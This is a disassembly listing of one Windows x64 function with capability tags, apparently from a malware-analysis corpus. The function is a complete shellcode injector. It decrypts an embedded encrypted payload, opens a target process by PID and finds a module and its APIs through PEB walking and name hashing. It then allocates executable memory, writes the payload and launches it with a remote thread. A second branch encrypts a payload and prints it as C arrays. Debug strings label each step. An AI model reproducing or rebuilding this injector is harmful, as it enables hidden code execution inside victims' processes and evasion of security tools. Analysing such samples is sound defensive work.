Function at 0x140001cb0
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov r15, rdx
cmp ecx, 2
jne 0x1400021a5
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x48], 0x30d952a9
lea rcx, [rbp + 0x40]
mov dword [rsp + 0x4c], 0x1b19516
mov dword [rsp + 0x50], 0x9127e9d8
mov dword [rsp + 0x54], 0xe529ac96
mov dword [rsp + 0x58], 0x6d2dbeca
mov dword [rsp + 0x5c], 0x41c59eb9
mov dword [rsp + 0x60], 0xaa73cfa8
mov dword [rsp + 0x64], 0xe4bf814d
mov dword [rsp + 0x70], 0x46c3a294
mov dword [rsp + 0x74], 0x74741a32
mov dword [rsp + 0x78], 0x57244677
mov dword [rsp + 0x7c], 0x3e54bd49
mov dword [rbp - 0x80], 0xe4ca8173
mov dword [rbp - 0x7c], 0x6a831988
mov dword [rbp - 0x78], 0xb6e4d1e5
mov dword [rbp - 0x74], 0x461044c7
mov dword [rbp - 0x70], 0xbcc1c193
mov dword [rbp - 0x6c], 0x28e17ce1
mov dword [rbp - 0x68], 0x134b60c
mov dword [rbp - 0x64], 0x35ec73ea
mov dword [rbp - 0x60], 0x8ff54733
mov dword [rbp - 0x5c], 0xba145cc4
mov dword [rbp - 0x58], 0x57c9ea8e
mov dword [rbp - 0x54], 0x69dbb458
mov dword [rbp - 0x50], 0x6dcab21d
mov dword [rbp - 0x4c], 0x7141b4eb
mov dword [rbp - 0x48], 0x300b6477
mov dword [rbp - 0x44], 0x902064ff
mov dword [rbp - 0x40], 0x2939e3b8
mov dword [rbp - 0x3c], 0x5efb2f4d
mov dword [rbp - 0x38], 0x173746c6
mov dword [rbp - 0x34], 0x900058e1
mov dword [rbp - 0x30], 0x56a0bb07
mov dword [rbp - 0x2c], 0x8cb7951
mov dword [rbp - 0x28], 0x4093a584
mov dword [rbp - 0x24], 0x3de94b52
mov dword [rbp - 0x20], 0x25ba1033
mov dword [rbp - 0x1c], 0xa33acec9
mov dword [rbp - 0x18], 0x108cea9c
mov dword [rbp - 0x14], 0x14996a24
mov dword [rbp - 0x10], 0xdbefa341
mov dword [rbp - 0xc], 0x77a07fd6
mov dword [rbp - 8], 0xe1ef5457
mov dword [rbp - 4], 0xbac11e70
mov dword [rbp], 0x8659f321
mov dword [rbp + 4], 0xd9977029
mov dword [rbp + 8], 0xeac9ae42
mov dword [rbp + 0xc], 0x67d6ac4a
mov dword [rbp + 0x10], 0x1bc0ba5
mov dword [rbp + 0x14], 0xc637310b
mov dword [rbp + 0x18], 0x18e2ce7e
mov dword [rbp + 0x1c], 0xcee75fa2
call section..text
lea rax, [rsp + 0x70]
mov dword [rbp + 0xf0], 0xf37012cc
lea rdi, [rbp + 0xf0]
mov dword [rbp + 0xf4], 0x52c1bc03
sub rdi, rax
mov dword [rbp + 0xf8], 0xe1bb7f34
mov dword [rbp + 0xfc], 0x97671b4e
lea rbx, [rsp + 0x70]
mov esi, 0xb
nop dword [rax + rax]
movups xmm0, xmmword [rbx]
lea rdx, [rbp + 0x40]
mov rcx, rbx
call fcn.140001900
mov ecx, 0x10
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001ee0
sub rdi, 0x10
movaps xmmword [rbp + 0xf0], xmm0
sub rsi, 1
jne 0x140001ec0
movzx eax, byte [rbp + 0x1f]
xor r14d, r14d
mov ebx, 0xb0
mov r13d, r14d
mov r12d, r14d
sub rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140001f47
mov r8, rbx
lea rdx, [rsp + 0x70]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r13, rdi
mov r12, rbx
mov rcx, qword [r15 + 8]
mov dword [rsp + 0x40], r14d
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
jne 0x140001f90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, ebx
lea rcx, str.____failed_to_open_process__ld__d
mov r8d, eax
call fcn.140001a90
lea eax, [r15 + 1]
jmp 0x1400024fe
mov edx, ebx
lea rcx, str.___Obtained_Handle_to_pid___d_n
call fcn.140001a90
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x20]
test rsi, rsi
je 0x140002097
movzx eax, word [rsi + 0x48]
mov ecx, 0x104
test ax, ax
je 0x140002097
cmp ax, cx
jae 0x140002097
mov rax, qword [rsi + 0x50]
mov ebx, r14d
cmp word [rax], r14w
je 0x14000200c
mov rdi, r14
mov rcx, r14
movzx ecx, word [rax + rcx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
inc ebx
mov byte [rbp + rdi + 0x40], al
mov rax, qword [rsi + 0x50]
mov edi, ebx
lea rcx, [rbx + rbx]
cmp word [rcx + rax], r14w
jne 0x140001fe6
mov ecx, 0x104
mov eax, ebx
cmp rax, rcx
jae 0x14000252e
lea rcx, [rbp + 0x40]
mov byte [rbp + rax + 0x40], r14b
mov ebx, r14d
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rdx, eax
mov rcx, r14
test eax, eax
je 0x140002073
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rbp + rcx + 0x40]
inc rcx
add eax, ebx
imul ebx, eax, 0x81
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x140002040
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp eax, 0x367dc15a
je 0x14000207b
mov rsi, qword [rsi]
jmp 0x140001faf
mov r8d, 0x367dc15a
lea rdx, [rbp + 0x40]
lea rcx, str.Module__s_Found_for_hash___X_n
call fcn.140001a90
mov rdi, qword [rsi + 0x20]
jmp 0x14000209a
mov rdi, r14
mov edx, 0x66e2c7ce
mov rcx, rdi
call fcn.140001af0
mov edx, 0x95fea306
mov rcx, rdi
mov rbx, rax
call fcn.140001af0
mov edx, 0xbadbb20b
mov rcx, rdi
mov rsi, rax
call fcn.140001af0
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, r12
xor edx, edx
mov rcx, r15
mov rdi, rax
call rbx
mov rdx, r12
lea rcx, str.___Allocated__d_bytes_in_vmem_n
mov rbx, rax
call fcn.140001a90
mov r9, r12
mov qword [rsp + 0x20], r14
mov r8, r13
mov rdx, rbx
mov rcx, r15
call rdi
mov rdx, r12
lea rcx, str.___Wrote__d_bytes_in_vmem_n
call fcn.140001a90
lea rax, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], r14d
xor edx, edx
mov rcx, r15
mov qword [rsp + 0x20], r14
call rsi
mov rbx, rax
test rax, rax
jne 0x140002164
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_create_thread__error___d
call fcn.140001a90
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [rbx + 1]
jmp 0x1400024fe
mov edx, dword [rsp + 0x40]
lea rcx, str.___Created_Remote_Thread_with_tid___ld_n
call fcn.140001a90
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.Cleaning_up_n
call fcn.140001a90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400024fc
xor ecx, ecx
mov word [rsp + 0x40], 0x2211
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor r14d, r14d
lea rdi, [rbp + 0x20]
mov ebx, r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx ecx, al
inc ebx
mov eax, 0x80808081
lea rdi, [rdi + 1]
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
mov byte [rdi - 1], cl
cmp ebx, 0x20
jb 0x1400021c7
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
movzx ecx, byte [rbp + 0x20]
xor ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, r14d
lea rdi, [rsp + 0x48]
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx ecx, al
inc ebx
mov eax, 0x80808081
lea rdi, [rdi + 1]
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
mov byte [rdi - 1], cl
cmp ebx, 0x10
jb 0x140002210
lea rdx, str.pKey
lea rcx, str.unsigned_char__s____
call fcn.140001a90
mov ebx, r14d
lea rdi, [rbp + 0x20]
lea rsi, str.0x_0.2X
nop word [rax + rax]
mov eax, ebx
and eax, 0x8000000f
jge 0x140002270
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140002280
lea rcx, [0x140004550]
call fcn.140001a90
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp ebx, 0x1f
cmovae rcx, rsi
call fcn.140001a90
inc ebx
inc rdi
cmp ebx, 0x20
jb 0x140002260
lea rcx, str.__n_n_n
call fcn.140001a90
lea rdx, [0x140004680]
lea rcx, str.unsigned_char__s____
call fcn.140001a90
mov ebx, r14d
lea rdi, [rsp + 0x48]
mov eax, ebx
and eax, 0x8000000f
jge 0x1400022d7
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x1400022e7
lea rcx, [0x140004550]
call fcn.140001a90
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp ebx, 0xf
cmovae rcx, rsi
call fcn.140001a90
inc ebx
inc rdi
cmp ebx, 0x10
jb 0x1400022c7
lea rcx, str.__n_n_n
call fcn.140001a90
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call section..text
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rbp + 0xf0], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rdx, str.Padded_Data
mov r15, rax
test rax, rax
je 0x1400024c5
movdqa xmm0, xmmword [0x1400046b0]
mov edi, 0x10
movzx ecx, word [rsp + 0x40]
movups xmmword [rax], xmm0
mov word [rax], cx
lea rcx, str.unsigned_char__s____
call fcn.140001a90
mov ebx, r14d
lea r12d, [rdi - 1]
mov r13, r14
mov rsi, r15
lea r14, str.0x_0.2X
nop dword [rax]
mov eax, ebx
and eax, 0x8000000f
jge 0x1400023a0
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x1400023b0
lea rcx, [0x140004550]
call fcn.140001a90
movzx edx, byte [r15]
lea rcx, str.0x_0.2X_
cmp r13, r12
cmovae rcx, r14
call fcn.140001a90
inc ebx
inc r15
movsxd r13, ebx
cmp r13, rdi
jb 0x140002390
lea rcx, str.__n_n_n
call fcn.140001a90
mov r15, r12
lea r9, [rbp + 0xf0]
shr r15, 4
and r14, 0
inc r15
mov rbx, rsi
nop dword [rax + rax]
mov rdx, rbx
sub r9, rbx
mov r8, rdi
nop dword [rax]
movzx eax, byte [r9 + rdx]
xor byte [rdx], al
lea rdx, [rdx + 1]
sub r8, 1
jne 0x140002410
lea rdx, [rbp + 0x40]
mov rcx, rbx
call fcn.1400016a0
mov r9, rbx
add rbx, rdi
sub r15, 1
jne 0x140002400
lea rdx, str.CipherText
lea rcx, str.unsigned_char__s____
call fcn.140001a90
mov r15, r14
mov rbx, rsi
mov eax, r14d
and eax, 0x8000000f
jge 0x140002463
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140002473
lea rcx, [0x140004550]
call fcn.140001a90
movzx edx, byte [rbx]
lea rax, str.0x_0.2X
cmp r15, r12
lea rcx, str.0x_0.2X_
cmovae rcx, rax
call fcn.140001a90
inc r14d
inc rbx
movsxd r15, r14d
cmp r15, rdi
jb 0x140002452
lea rcx, str.__n_n_n
call fcn.140001a90
test rsi, rsi
je 0x1400024fc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400024fc
lea rcx, str.unsigned_char__s____
call fcn.140001a90
lea rcx, str.__n_n_n
call fcn.140001a90
lea rdx, str.CipherText
lea rcx, str.unsigned_char__s____
call fcn.140001a90
lea rcx, str.__n_n_n
call fcn.140001a90
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140002550
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002678
int3